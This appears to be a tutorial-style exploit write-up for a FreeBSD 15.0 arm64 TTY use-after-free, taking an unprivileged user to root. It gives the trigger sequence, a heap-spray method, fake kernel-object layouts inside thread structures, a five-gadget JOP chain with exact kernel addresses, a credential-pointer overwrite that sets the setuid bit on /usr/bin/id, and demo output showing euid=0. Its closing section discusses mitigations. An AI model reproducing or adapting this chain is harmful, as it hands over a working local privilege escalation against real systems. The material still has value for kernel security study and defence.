CVE-2026-5398 · FreeBSD TIOCNOTTY Use-After-Free

From a single dangling pointer in the TTY layer to euid=0 on FreeBSD 15.0-RELEASE / arm64 — a step-by-step walkthrough for kernel programmers new to exploitation.
Contents
  1. The vulnerability
  2. Reaching the dangling pointer
  3. Reclaiming the freed memory
  4. Finding a useful consumer: kern_psignal → KNOTE_LOCKED
  5. Building fake kernel objects inside struct thread
  6. The JOP chain: arbitrary write + infinite spin
  7. Turning a single 64-bit write into root
  8. Putting it together & demo output
  9. Why mitigations didn't stop us

1 · The vulnerability

The TIOCNOTTY ioctl lets a session leader voluntarily detach from its controlling terminal. The handler, tty_drop_ctty() in sys/kern/tty.c, breaks the link from the session to the tty but forgets to break the link from the tty back to the session:

/* sys/kern/tty.c — pre-patch */
static int
tty_drop_ctty(struct tty *tp, struct proc *p)
{
    ...
    SESS_LOCK(session);
    vp = session->s_ttyvp;
    session->s_ttyp  = NULL;   /* session forgets the tty   */
    session->s_ttyvp = NULL;
    session->s_ttydp = NULL;
    SESS_UNLOCK(session);

    /* BUG: tp->t_session and tp->t_pgrp are NOT cleared here. */
    tp->t_sessioncnt--;
    p->p_flag &= ~P_CONTROLT;
    ...
}

The fix (commit 093903a8d4c0) adds exactly the four missing lines:

+   if (tp->t_session == session) {
+       tp->t_session = NULL;
+       tp->t_pgrp    = NULL;
+   }

Why this becomes a use-after-free

Normally, when a session is destroyed, sess_release() follows s_ttyp back to the tty and calls tty_rel_sess(), which clears tp->t_session. Because TIOCNOTTY already nulled s_ttyp, that cleanup path is skipped — so when the session is later freed, tp->t_session still points at it.

Object graph before / after TIOCNOTTY + exit before TIOCNOTTY struct tty t_session ──▶ t_pgrp ──▶ struct session ◀── s_ttyp s_leader ──▶ proc after TIOCNOTTY + child exit struct tty (still alive: master fd open) t_session ──▶ FREED 128-byte slot malloc-128 zone (was struct session) lifecycle child: setsid() TIOCSCTTY TIOCNOTTYbug: t_session not cleared child exit→ sess_release → free() UAF
Key allocator fact. struct session is allocated with malloc(sizeof(struct session), M_SESSION, …). On arm64 it is 120 bytes, which lands in the general-purpose malloc-128 UMA zone — the same zone shared by every malloc(9) request between 65 and 128 bytes regardless of M_* type. By contrast struct pgrp lives in its own PGRP zone with UMA_ZONE_NOFREE (type-stable), so the dangling t_pgrp is far less interesting. We focus on t_session.
/* sys/kern/kern_prot.c */
newsess = malloc(sizeof(struct session), M_SESSION, M_WAITOK | M_ZERO);
/* sys/kern/kern_proc.c */
pgrp_zone = uma_zcreate("PGRP", sizeof(struct pgrp), NULL, NULL,
    pgrp_init, NULL, UMA_ALIGN_PTR, UMA_ZONE_NOFREE);

$ vmstat -z | egrep 'malloc-128|PGRP'
malloc-128:             128, ...   ← session lands here
PGRP:                   120, ...   ← type-stable, ignore

2 · Reaching the dangling pointer from userspace

The recipe is short and requires no privileges:

parent:  master = posix_openpt(O_RDWR|O_NOCTTY);
         slave  = open(ptsname(master), O_RDWR|O_NOCTTY);   // keep tty "opened"
         fork();
child:     setsid();
           s = open(slavepath, O_RDWR);
           ioctl(s, TIOCSCTTY, 0);     // tp->t_session = child's session
           ioctl(s, TIOCNOTTY, 0);    // s_ttyp=NULL, but tp->t_session stays
           _exit(0);                   // session refcount → 0 → free()
parent:  waitpid();                    // tp->t_session now dangles

The parent keeps both the master and slave fds open. The master keeps the struct tty alive; the slave keeps TF_OPENED set, which we'll need later for the trigger.

3 · Reclaiming the freed memory with controlled bytes

We need a syscall that (a) mallocs exactly 128 bytes from the general heap, (b) fills it with bytes we control, and (c) keeps it alive indefinitely.

cap_ioctls_limit(fd, cmds, ncmds) is perfect:

/* sys/kern/sys_capability.c */
int sys_cap_ioctls_limit(struct thread *td, struct cap_ioctls_limit_args *uap) {
    ...
    cmds = malloc(sizeof(cmds[0]) * ncmds, M_FILECAPS, M_WAITOK);   // 16×8 = 128
    error = copyin(uap->cmds, cmds, sizeof(cmds[0]) * ncmds);        // our bytes
    ...
    fdep->fde_ioctls = cmds;                                           // kept alive by fd
}

With ncmds = 16 we get a fully-controlled 128-byte allocation in malloc-128. Because UMA's per-CPU bucket cache is LIFO, the chunk that was just freed (the dead session) is overwhelmingly likely to be the next one handed out. A handful of sprays is enough to be certain.

Overlaying struct session

Our 16 u_longs now alias the dead session. The only field any consumer actually dereferences is s_leader at offset 8 — i.e. cmds[1].

malloc-128 slot · struct session ↔ cmds[16] cmds[0] cmds[1] [2] [3] [4] [5] … cmds[6..15] … s_count s_leader s_ttyvp s_ttydp s_ttyp s_sid s_login[40], s_mtx CTF dump (kernel debug info) confirms the layout: STRUCT session (120 bytes) s_count @ 0 · s_leader @ 8 · s_ttyvp @ 16 · s_ttydp @ 24 s_ttyp @ 32 · s_sid @ 40 · s_login @ 44 · s_mtx @ 88

We can verify the reclaim from userspace without touching anything dangerous: the master-side TIOCGSID ioctl reads tp->t_session->s_sid (offset 40 = our cmds[5]) with no tty_is_ctty() check:

/* sys/kern/tty_pts.c — master-side ioctl */
case TIOCGSID:
    tty_lock(tp);
    if (tp->t_session == NULL) error = ENOTTY;
    else *(int *)data = tp->t_session->s_sid;   // = our cmds[5]
    tty_unlock(tp);

$ ./trigger
[*] TIOCGSID on master returned 0x13371337
[+] UAF confirmed: freed session reclaimed by spray

4 · Finding a useful consumer: kern_psignal → KNOTE_LOCKED

We now control tp->t_session->s_leader — an arbitrary struct proc *. Who dereferences it, and how far does that get us?

The richest consumer is tty_signal_sessleader(), which is invoked when the terminal "hangs up". For a pty, that happens when the master fd is closed:

ptsdev_close(fp, td)
  └─ tty_rel_gone(tp)
       └─ ttydisc_modem(tp, 0)
            ├─ if (!tty_opened(tp) || CLOCAL) return;   // slave open ✓, CLOCAL=0 ✓
            └─ tty_signal_sessleader(tp, SIGHUP)
                 ├─ p = tp->t_session->s_leader;       // = cmds[1] = OUR POINTER
                 ├─ PROC_LOCK(p);
                 ├─ kern_psignal(p, SIGHUP);
                 │    └─ tdsendsignal(p, NULL, SIGHUP, &ksi)
                 │         ├─ if (p->p_state == PRS_ZOMBIE) return;
                 │         ├─ ps = p->p_sigacts;
                 │         ├─ KNOTE_LOCKED(p->p_klist, NOTE_SIGNAL|SIGHUP);  ◀── target
                 │         ├─ td = sigtd(p, …);    // would crash on fake p — must never reach
                 │         └─ …
                 └─ PROC_UNLOCK(p);

KNOTE_LOCKED is the prize: it walks a list of knotes and makes an indirect call through kn->kn_fop->f_event for each one. If we control p->p_klist we control that call:

/* sys/kern/kern_event.c — knote() with KNF_LISTLOCKED */
void knote(struct knlist *list, long hint, int lockflags) {
    if (list == NULL) return;
    SLIST_FOREACH_SAFE(kn, &list->kl_list, kn_selnext, tkn) {
        kq = kn->kn_kq;                           // [kn+40]
        KQ_LOCK(kq);                              // CAS [kq+24]: 0 → curthread
        if (kn_in_flux(kn) && …) { KQ_UNLOCK(kq); }   // [kn+128]
        else {
            if (kn->kn_fop->f_event(kn, hint))   // [[kn+152]+24] — INDIRECT CALL
                KNOTE_ACTIVATE(kn, 1);
            KQ_UNLOCK(kq);
        }
    }
}
The catch. After knote() returns, tdsendsignal() continues with sigtd(p, …), which iterates p->p_threads, then mtx_lock(&p->p_sigacts->ps_mtx) — fields scattered across 1360 bytes of struct proc that we cannot all fake convincingly. Our gadget chain must therefore never return from f_event.

5 · Building fake kernel objects inside struct thread

5.1 · The address-leak FreeBSD gives away for free

FreeBSD's kern.proc.pid sysctl returns struct kinfo_proc, which — for historical/debugging reasons — contains raw kernel pointers, even to unprivileged callers:

$ ./kaddr
ki_paddr  = 0xffffa00001f48550   // our struct proc *
ki_tdaddr = 0xffff00008e1002c0   // our struct thread *  (per-thread w/ KERN_PROC_INC_THREAD)
ki_fd     = 0xffff0000b6b464f0   // struct filedesc *
ki_kstack = 0xffff000091510000
ki_pcb    = 0xffff000091513b20

Combined with no KASLR on this target, we know the address of every helper thread we create and every kernel .text/.data symbol.

5.2 · User-controllable bytes inside struct thread

A kernel exploit needs controlled bytes at known kernel addresses. The struct thread of each of our pthreads is exactly that — 1560 bytes at ki_tdaddr, with several user-writable fields:

offsetfieldsizehow we set it
1000td_sigmask.__bits[0..1]8 sigprocmask() (bits 8,16 forced 0: SIGKILL/SIGSTOP)
1008td_sigmask.__bits[2..3]8 sigprocmask() — fully arbitrary
1024td_rb_list8 _umtx_op(UMTX_OP_ROBUST_LISTS) — stores ptr verbatim
1032td_rbp_list8″
1040td_rb_inact8″
1064td_sa.args[0]8 read()'s fd — small int
1072td_sa.args[1..7]56 raw svc #0 with x1..x7 set; read() blocks before validating buf/len
1128td_sigblock_ptr8 sigfastblock(SETPTR) — only checks 4-byte alignment

By spawning six helper threads that set these fields and then block in read() on an empty pipe, we get six ~100-byte windows of controlled kernel memory at known addresses.

Why read() lets us control args[1..7]

On arm64, cpu_fetch_syscall_args() copies registers x0..x7 verbatim into td->td_sa.args[0..7] at the start of every syscall. pipe_read() blocks on cv_wait_sig() before calling uiomove(), so the buf (x1) and len (x2) registers are never validated while there's no data. We issue a raw svc #0 with x8=SYS_read, x0=pipe_fd, x1..x7 = our payload — the thread sleeps with all eight values frozen in td_sa.args.

5.3 · The fake-object graph

We need to satisfy every field tdsendsignal/knote touches on the way to f_event:

Fake-object graph (each box is a helper thread's struct thread) spray (cmds[16]) = tp->t_session cmds[1] = s_leader = T1 − 64 T1 · fake proc overlay fake_p = T1 − 64 +192 p_state = td_sleepqueue ≠ 2 +320 p_mtx.mtx_lock= td_kmsan = 0 +1096 p_klist = T1.td_rbp_list ↑ the only three proc fields touched before KNOTE_LOCKED T2 · fake knlist + fake ucred @ T2+1072 (= args[1]) +0 kl_list.slh_first= kn +40 (G4 reads x8) = G5 +48 (G4 reads x0) = target−40 +100 cr_uid = retval[0].hi = 0 T3 · fake knote kn @ T3+968 +8 kn_selnextkexterr.p1=0 +40 kn_kq sigmask[8:16] +124 kn_status args[3].hi +128 kn_influx args[4]=0 +152 kn_fop args[7] ↑ only fields knote() reads T4 · fake kqueue @ T4+1072 +16 (G1 deref) = T5+928 +24 kq_lock args[4]=0 +40 (G2 reads x8)= G3 +48 (G2 reads x0)= T6+1088 kn_kq T5 · dispatch + filterops td_rb_list = G2 [[fake_kq+16]+96] = [T5+1024] args[4] = G1 (= f_event) kn_fop → fake filterops @ T5+1072 T6 · G3→G4 dispatch args[4] = G4 T_victim (T[6]) td_ucred ◀── WRITE @ T_victim + 392 *(target) = fake_knlist (=fake ucred)

Why fake_p = T1 − 64 works

The fake proc has to span 1360 bytes, but tdsendsignal only touches three fields before reaching KNOTE_LOCKED:

proc fieldfake_p offset= T1 offsetactual T1 fieldvalue
p_state+192+128td_sleepqueuekernel ptr ≠ PRS_ZOMBIE(2) ✓
p_mtx.mtx_lock+320+256td_kmsanNULL on non-KMSAN kernel → CAS(0→curthread) succeeds ✓
p_klist+1096+1032td_rbp_listwe set via _umtx_op = fake_knlist ✓

The remaining ~1350 bytes of the "proc" are real struct thread fields — but nothing reads them before our hijacked f_event takes over.

6 · The JOP chain: one arbitrary 64-bit write, then spin forever

6.1 · The mitigation landscape

mitigationstatus on targetconsequence
KASLRoffkernel .text addresses are constants
BTI (FEAT_BTI)CPU lacks it blr can land anywhere, not just bti c pads — mid-function gadgets are fair game
PAC (FEAT_PAuth)enforced any gadget ending ldp x29,x30,[sp],#N; autiasp; ret must have a matching paciasp; stp x29,x30,[sp,#-N]! earlier with the same sp, or ret goes to a PAC-corrupted address → fault → panic
W^X / PXNonno shellcode; must reuse kernel code
SMP panicstop_cpus_hard() first thing in vpanic() can't race a write-then-crash chain — must never crash
The design constraint in one sentence. Starting from f_event(kn, hint) with x0=kn, x1=hint, x19=fake_knlist, x22=fake_kq, x23=kn, x8=f_event (these are exactly the registers knote() sets up before its blr x8 at 0x4add70), build a chain that performs one 64-bit store *(WHERE)=WHAT and then ends in an instruction that loops forever — without ever executing an unbalanced autiasp.

6.2 · The five gadgets

G1  0xffff00000049b60c  (export_file_to_kinfo+0x100, mid-function — OK because no BTI)
    str  x0, [x19, #0x18]      ; *(fake_knlist+24) = kn   (harmless side-write)
    mov  x0, x22               ; x0 = fake_kq
    mov  x1, x19               ; x1 = fake_knlist        ◀── WHAT, carried through chain
    ldr  x8, [x22, #0x10]
    mov  x2, x21
    ldr  x8, [x8, #0x60]       ; x8 = [[fake_kq+16]+96] = T5.rb_list = G2
    blr  x8                    ; → G2, x30 = G1+0x1c (never used)

G2  0xffff0000000ee110  (acpi_intr_handler — full function, PAC-balanced)
    paciasp
    stp  x29, x30, [sp, #-0x10]!
    mov  x29, sp
    ldp  x8, x0, [x0, #0x28]   ; x8 = [fake_kq+40] = G3,  x0 = [fake_kq+48] = T6+1088
    blr  x8                    ; → G3, x30 = ee124 (G2's epilogue)

G3  0xffff000000250c1c  (OF_exit tail — the magic gadget)
    ldr  x8, [x0, #8]          ; x8 = [T6+1096] = T6.args[4] = G4
    mov  x0, x19               ; x0 = fake_knlist
    blr  x8                    ; → G4, x30 = 0x250c28 = `b .` ◀── return address is the spin!
    0x250c28:  b 0x250c28      ; the next instruction is an infinite loop

G4  0xffff0000000ee110  (acpi_intr_handler again — nested, PAC-balanced)
    paciasp                    ; signs x30=0x250c28 with current sp
    stp  x29, x30, [sp, #-0x10]!
    ldp  x8, x0, [x0, #0x28]   ; x0=fake_knlist → x8=[+40]=G5, x0=[+48]=target−40
    blr  x8                    ; → G5, x30 = ee124

G5  0xffff0000005724b4  (kobj_class_compile_static tail — leaf, no PAC)
    str  x1, [x0, #0x28]       ; *(target) = fake_knlist   ◀── THE ARBITRARY WRITE
    ret                        ; → ee124 (G4 epilogue)

G4 epilogue (ee124):
    mov w8,#1; cmp w0,#1; cinc w0,w8,eq
    ldp  x29, x30, [sp], #0x10 ; restores PAC-signed 0x250c28
    autiasp                    ; sp matches G4's paciasp → auth OK
    ret                        ; → 0x250c28 →  b .  →  spin forever ✓
Control-flow & register dataflow through the chain knote()x19=knlist x22=kqx0=kn blr x8 G1x0←x22 x1←x19blr [[x22+16]+96] G2 acpi_intrpaciasp/stpldp x8,x0,[x0+40] G3 OF_exitx0←x19blr → x30=SPIN G4 acpi_intrpaciasp/stpldp x8,x0,[x0+40] G5 str x1,[x0,#0x28]*(target) = fake_knlist G4 epilogueautiasp ✓ → ret 0x250c28b . (spin) ret x1 = fake_knlist (WHAT) x1 unchanged through G2/G3/G4 x0 = [fake_knlist+48] = target−40 (WHERE)

Why PAC doesn't stop us

The only autiasp we ever execute is G4's own — and it authenticates the exact x30 that G4's paciasp just signed, with the same sp. Every other gadget is either a leaf (G5: bare ret) or never reaches its epilogue (G1, G2, G3). G2's pushed frame is simply abandoned on the stack while the trigger thread spins.

Why BTI doesn't stop us

The CPU's ID_AA64ISAR1_EL1 on this VM advertises API EPAC but no BT field — FEAT_BTI is absent, so the bti c instructions the compiler emitted are no-ops and blr can target any 4-byte-aligned instruction. That's what lets G1, G3 and G5 be mid-function entry points.

7 · Turning one 64-bit write into root

7.1 · What we write, and where

The chain stores x1 = fake_knlist = T2+1072 at *(x0+0x28) where x0 = T2.args[7] = T_victim+352. So:

*(T_victim + 392) = T2 + 1072
        │                 │
        │                 └── doubles as a fake struct ucred
        └── td_ucred of our victim pthread

7.2 · The "good-enough" fake ucred

We don't try to forge a complete struct ucred (264 bytes — far bigger than any controllable window). Instead we exploit the fact that the operation we're going to perform — fchmod() on a file already owned by root — only checks one field:

/* sys/ufs/ufs/ufs_vnops.c — ufs_chmod() */
if (cred->cr_uid != ip->i_uid) {            // 0 != 0  → FALSE → skip!
    error = priv_check_cred(cred, PRIV_VFS_ADMIN);
    if (error) return (error);
}
if ((mode & ISUID) && ip->i_uid != cred->cr_uid) {  // 0 != 0 → FALSE → skip!
    error = priv_check_cred(cred, PRIV_VFS_ADMIN);
    ...
}

priv_check_cred() is what would dereference cr_prison, cr_uidinfo, etc. — the fields we can't fake. By making cr_uid == i_uid == 0, the check short-circuits and never gets there.

Where cr_uid = 0 comes from

struct ucred overlay on T2's thread tail (fake_ucred = T2+1072) args[1] args[2..4] args[5..7] sigblock_ptr/val exterr_ptr td_pcb td_state td_retval[0] = 0 retval[1] cowgen td_slpcallout … +0 lo_name=kn +32 cr_ref / +40 cr_users +80 cr_audit… +96 cr_ngroups=0 +100 cr_uid=0 +104 cr_ruid … +144 cr_prison=junk cr_uid lands at T2+1172 = high 32 bits of td_retval[0]. T2's last completed syscall (_umtx_op / sigprocmask) returned 0 → retval[0]=0 → cr_uid=0. cr_prison lands in td_slpcallout — garbage, but ufs_chmod never reads it when cr_uid==i_uid.

7.3 · Making the privilege persistent

The victim thread now believes it has cr_uid=0. It hammers fchmod(suid_fd, 04755) on a file that is already owned by root. We get such a file by link("/usr/bin/id", "/tmp/suid_id") (hard links preserve ownership and FreeBSD's security.bsd.hardlink_check_uid defaults to 0); on ZFS-with-separate-datasets the link fails with EXDEV and we fall back to operating on /usr/bin/id directly — acceptable on a research VM.

Once the setuid bit is set on a real on-disk root-owned binary, a separately pre-forked child simply execve()s it. The trigger thread is still spinning in the parent, but the child is its own process with no stuck threads, so exec's thread_single() works fine.

8 · Putting it together & demo output

Process / thread choreography parent (exploit) main: orchestrate, spray, wait T[0..5]: helpers — block in read() T[6] victim: while(!win) fchmod() T[7] trigger: close(master) → spin JOP write lands in T[6].td_ucred UAF child setsid · TIOCSCTTY · TIOCNOTTY · exit cwin child read(pipe); execve("/tmp/suid_id") id (setuid root) uid=1001 euid=0(root)
$ ./exploit
[*] master=8 slave=/dev/pts/1
[*] UAF: tp->t_session dangles
[*] cwin pid=7710 td=0xffff00008e101000 p=0xffffa00001f48aa0
[*] T[0] tid=100515 td=0xffff00008e11d640
[*] T[1] tid=100516 td=0xffff00008e119640
[*] T[2] tid=100517 td=0xffff00008e11dc80
[*] T[3] tid=100518 td=0xffff00008e11d000
[*] T[4] tid=100519 td=0xffff00008e11c900
[*] T[5] tid=100520 td=0xffff00008e11c2c0
[*] T[6] tid=100521 td=0xffff00008e11bc80
[*] T[7] tid=100522 td=0xffff00008e11b640
[*] kn=0xffff00008e11e048 fake_kq=0xffff00008e11d430 fake_knlist=0xffff00008e119a70 target=0xffff00008e11be08
[*] TIOCGSID -> 0x1337c0de (spray hit)
[*] triggering...
[+] fchmod 04755 on root-owned file succeeded!
[+] mode=104755 uid=0
uid=1001(user) gid=1001(user) euid=0(root) groups=1001(user)

$ ls -la /usr/bin/id ; /usr/bin/id
-rwsr-xr-x  3 root wheel 12616 Nov 28 03:42 /usr/bin/id
uid=1001(user) gid=1001(user) euid=0(root) groups=1001(user)

The trigger thread is left spinning in kernel mode at 0x250c28 holding tty_lock(tp) and the fake PROC_LOCK. The system stays up (no panic) but one CPU is pegged and the exploit process can't be killed cleanly; the VM should be rebooted afterwards.

9 · Why each mitigation didn't stop us

mitigationhow we bypassed / sidestepped it
KASLRNot enabled on FreeBSD/arm64 — gadget addresses are compile-time constants.
Heap-address secrecykinfo_proc hands out ki_tdaddr/ki_paddr to unprivileged users.
Type-isolated zonesstruct session uses generic malloc(9), not a dedicated zone, so any 65–128-byte allocation reclaims it.
PACChain only ever pairs paciasp/autiasp within the same acpi_intr_handler frame; the final ret is to a value G4 signed itself.
BTIVM's CPU lacks FEAT_BTI; mid-function blr targets are allowed.
W^XPure code-reuse (JOP); no writable-executable memory needed.
cred immutabilityWe don't modify a real ucred — we replace the pointer. td_ucred is only refreshed when td_cowgen != p_cowgen, so a direct overwrite sticks across syscalls.
priv_check_cred / jail checksufs_chmod() on a file you "own" (cr_uid == i_uid) skips privilege checks entirely — so the fake cred's garbage cr_prison/cr_uidinfo are never read.
Takeaway for kernel programmers. The bug is two missing NULL assignments. Everything else — the heap overlap, the kinfo leaks, the JOP chain, the ufs_chmod short-circuit — is latent infrastructure that any kernel UAF can ride. The mitigations that would have mattered most here are type-isolated allocation for struct session (so the freed slot could only ever become another session) and not exposing raw kernel pointers in kinfo_proc.

Artifacts: trigger.c (UAF + reclaim verification), exploit.c (full LPE). Tested on FreeBSD 15.0-RELEASE releng/15.0-n280995-7aedc8de6446 GENERIC arm64.